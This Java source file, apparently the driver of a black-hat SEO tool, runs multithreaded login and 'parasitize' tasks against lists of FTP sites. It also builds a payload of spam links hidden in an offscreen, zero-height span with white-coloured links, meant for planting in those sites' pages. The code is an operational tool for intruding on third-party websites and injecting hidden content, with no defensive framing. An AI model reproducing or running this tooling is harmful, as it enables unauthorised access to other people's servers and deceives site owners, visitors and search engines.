package jude.java.money.black;

import java.util.List;

import jude.java.framework.thread.CmdController;
import jude.java.framework.thread.Mission;
import jude.java.framework.thread.TaskFactory;
import jude.java.money.beans.FtpSite;
import jude.java.money.beans.WebSite;
import jude.java.money.provide.Provider;
import jude.java.money.provide.impl.LoginProvider;
import jude.java.money.provide.impl.ParasitizeProvider;
import jude.java.money.service.HeiService;
import jude.java.money.spring.Services;
import jude.java.money.task.BaseTask;
import jude.java.util.Utils;

import org.apache.commons.lang.StringUtils;

public class BlackLink {

	public static void main(String[] args) throws InterruptedException {
		Utils.startSystem();
//		print();
//		login();
//		pageRank();
		parasitize();
//		showLinks();
		Utils.closeSystem();
		System.out.println("end mission");
	}
	
	static void parasitize() throws InterruptedException {
		int thread = 10;
		Provider<FtpSite> provider = new ParasitizeProvider(200);
		TaskFactory<ParasitizeTask, FtpSite> factory = new TaskFactory<ParasitizeTask, FtpSite>() {
			@Override
			public ParasitizeTask createTask(Provider<FtpSite> provider) {
				return new ParasitizeTask(provider);
			}
		};
		Mission<ParasitizeTask, FtpSite> m = new Mission<ParasitizeTask, FtpSite>(factory, provider, thread);
		m.start();
		cmd(m);
	}
	
	static void showLinks() {
		HeiService service = Services.getHeiService();
		List<String> groups = service.getWebSiteGroups();
		for (String group : groups) {
			System.out.println();
			System.out.println("\n\n\t----- " + group + " -----\n");
			System.out.println(getHeiContent(group, 0, true));
		}
	}
	
	static void pageRank() {
		int thread = 1;
		Provider<FtpSite> provider = new LoginProvider();
		TaskFactory<PageRankTask, FtpSite> factory = new TaskFactory<PageRankTask, FtpSite>() {
			@Override
			public PageRankTask createTask(Provider<FtpSite> provider) {
				return new PageRankTask(provider);
			}
		};
		Mission<PageRankTask, FtpSite> m = new Mission<PageRankTask, FtpSite>(factory, provider, thread);
		m.start();
		cmd(m);
	}
	
	static void login() {
		int thread = 30;
		Provider<FtpSite> provider = new LoginProvider();
		TaskFactory<LoginTask, FtpSite> factory = new TaskFactory<LoginTask, FtpSite>() {
			@Override
			public LoginTask createTask(Provider<FtpSite> provider) {
				return new LoginTask(provider);
			}
		};
		Mission<LoginTask, FtpSite> m = new Mission<LoginTask, FtpSite>(factory, provider, thread);
		m.start();
		cmd(m);
	}
	
	static void print() {
		int thread = 1;
		Provider<FtpSite> provider = new ParasitizeProvider(3000);
		TaskFactory<PrintTask, FtpSite> factory = new TaskFactory<PrintTask, FtpSite>() {

			@Override
			public PrintTask createTask(Provider<FtpSite> provider) {
				return new PrintTask(provider);
			}
			
		};
		
		Mission<PrintTask, FtpSite> m = new Mission<PrintTask, FtpSite>(factory, provider, thread);
		m.start();
		cmd(m);
	}
	
	private static void cmd(Mission<? extends BaseTask<FtpSite>, FtpSite> mission) {
		new CmdController(mission).startControl();
	}
	
	
	public static String getHeiContent(String group, int count) {
		return getHeiContent(group, count, false);
	}
	public static String getHeiContent(String group, int count, boolean multiline) {
		HeiService service = Services.getHeiService();
		List<WebSite> sites = null;
		if (StringUtils.isEmpty(group))
			sites = service.listAll(WebSite.class);
		else
			sites = service.query(WebSite.class, "group=?", group);
		if (sites == null || sites.isEmpty())
			return null;
		int size = sites.size();
		if (size > 0) {	//打乱顺序
			sites.add(sites.get(Utils.random(size)));
			sites.add(sites.get(Utils.random(size)));
		}
		StringBuilder sb = new StringBuilder();
		sb.append("<span id='").append(HeiSetting.getIdentity()).append("' style='width:1px;height: 0px;overflow:hidden;position:absolute;left:1024px;top:-99px'>");
		if (multiline)
			sb.append('\n');
		if (count <= 0 || count >= size) {
			//all
			for (WebSite webSite : sites) {
				String title = webSite.getTitle();
				if (StringUtils.isEmpty(title))
					title = webSite.getName();
				sb.append("<a href='").append(webSite.getHttpUrl()).append("' title='").append(title).append("'>");
				sb.append("<h1>");
				sb.append(webSite.getName());
				sb.append("</h1>");
				sb.append("</a>");
				if (multiline)
					sb.append('\n');
			}
		} else {
			while (count-- > 0) {
				int i = (int)(Math.random() * size) % size;
				WebSite webSite = sites.get(i);
				String title = webSite.getTitle();
				if (StringUtils.isEmpty(title))
					title = webSite.getName();
				sb.append("<a href='").append(webSite.getHttpUrl()).append("' title='").append(title).append("' style='color:white;'>");
				sb.append("<h2>");
				sb.append(webSite.getName());
				sb.append("</h2>");
				sb.append("</a>");
				if (multiline)
					sb.append('\n');
			}
		}
		sb.append("</span>");
		return sb.toString();
	}
//	private static void cmd(Mission<? extends BaseTask<FtpSite>, FtpSite> mission) {
//		while (true) {
//			if (mission.isFinished()) {
//				break;
//			}
//			String cmd = Utils.readCommand();
//			if (StringUtils.isEmpty(cmd))
//				continue;
//			if (cmd.length() > 1)
//				cmd = cmd.toLowerCase();
//			if ("exit".equals(cmd)) {
//				break;
//			} else if ("help".equals(cmd) || "H".equals(cmd)) {
//				StringBuilder sb = new StringBuilder();
//				sb.append("\tWelcome to ABC help page\n\n");
//				sb.append("Help\tshow help\n");
//				sb.append("exit\tquit the command line\n");
//				sb.append("start\tstart mission\n");
//				sb.append("stop\tpause mission\n");
//				sb.append("Timer\ttoggle timer\n");
//				sb.append("Runtime\tshow current status\n");
//				sb.append("Block\tshow blocked threads\n");
//				sb.append("Status\tshow current status\n");
//				sb.append("kill\tkill blocked threads\n");
//				sb.append("\n");
//				System.out.println(sb);
//			} else if ("stop".equals(cmd)) {
//				mission.pause();
//			} else if ("start".equals(cmd)) {
//				mission.start();
//			} else if ("timer".equals(cmd) || "T".equals(cmd)) {
//				mission.toggleTimer();
//			} else if ("Runtime".equals(cmd) || "R".equals(cmd)) {
//				mission.showRuntime();
//			} else if ("block".equals(cmd) || "B".equals(cmd)) {
//				mission.showBlocked();
//			} else if ("kill".equals(cmd)) {
//				mission.killBlocked();
//			}
//			
//		}
//	}

}
